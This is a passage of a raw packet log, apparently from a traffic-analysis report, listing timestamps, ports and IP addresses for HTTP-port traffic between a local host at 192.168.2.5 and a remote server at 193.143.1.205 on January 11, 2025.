Jan 11, 2025 06:28:59.046581030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.046585083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046627045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046643019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.046916008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.048840046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.048856020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.048866987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.048878908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.048890114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.048927069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.048927069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.052603006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.058950901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.058988094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059001923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.059005022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059017897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059029102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059034109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.059041023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059067011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.059091091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059102058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059112072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059123993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.059139967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.059139967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.059153080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.067854881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.079464912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.084945917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.084963083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.084975004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.084992886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.085025072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.085686922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.131354094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131372929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131385088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131428003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131438971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131437063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.131449938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131459951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131470919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131488085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.131510973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.131623030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131633997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131644011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131664038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.131792068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131803036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131813049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131823063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131833076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131836891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.131844044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.131860971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.162983894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163045883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163103104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163115978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163130045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163141012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163220882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163220882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163237095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163245916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163256884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163268089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163274050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163278103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163290024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163300991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163311005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163324118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163331032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163336039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163345098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163367033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163386106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163388968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163398981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163408041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163418055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163429022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163435936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163440943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163450956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163455009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163461924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163471937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163481951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163489103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163491964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163502932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163512945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163522959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163533926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163542986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163556099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163567066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163567066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163567066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163585901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163707972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163717985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163727999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163744926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163763046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163866997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163877964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163887978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163897991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163908005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163913012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163918972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.163929939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.163959980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164016962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164027929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164072990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164387941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164400101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164413929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164424896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164428949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164434910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164444923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164455891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164463043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164541006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164550066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164561033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164571047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164582014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164587975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164592981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164602995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164603949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164630890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164716005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164727926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164738894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164752960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164844990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.164904118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164915085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164926052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.164942980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165462971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165478945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165489912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165501118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165504932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165513039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165522099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165553093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165618896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165631056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165643930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165654898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165664911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165678978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165776014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165796995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165828943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.165968895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165980101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.165992022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166002035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166012049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166023016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166033030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166043997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166062117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166062117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166062117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166078091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166615009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166627884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166640043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166650057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166661978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166666031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166671991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166686058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166716099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166743994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166754961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166764975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166775942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166786909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166796923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166800976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166806936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166817904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166827917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166851044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166873932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166884899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166896105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166907072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166917086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.166924000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166933060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.166961908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.216583967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216603041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216614962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216625929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216638088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216649055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216660023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.216666937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.216715097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.248985052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249011993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249030113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249042034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249053001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249063015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249075890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249085903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249099970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249145031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249162912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249180079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249181032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249197960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249208927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249219894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249227047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249255896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249305964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249316931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249360085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249505043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249516010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249527931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249537945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249547958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249550104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249558926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249568939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249569893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249596119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249752045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249763012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249774933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249788046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249806881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249835014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249845028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249855995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249881029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249891043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249900103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249912024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.249913931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.249942064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250201941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250214100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250225067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250261068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250309944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250322104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250338078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250525951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250536919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250547886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250559092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250560999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250570059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250580072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250580072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250591040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250607014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250623941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250663042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250674009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250684023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250709057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250719070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250720024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250730991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250741005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250744104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250751972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250761986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.250762939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.250788927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254209042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254234076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254246950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254264116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254266977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254282951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254297018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254302979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254313946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254322052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254323959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254333973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254363060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254369974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254379988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254390955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254401922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254414082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254426956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254452944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254744053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254760981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254771948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254786015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254815102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254842043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254852057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254863977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254874945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254884958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254899025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254915953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254925966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254926920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254937887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254944086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254947901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254957914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.254970074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.254997015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255347013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255357981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255395889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 06:28:59.255403042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255413055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 06:28:59.255424976 CET	80	49704	193.143.1.205	192.168.2.5
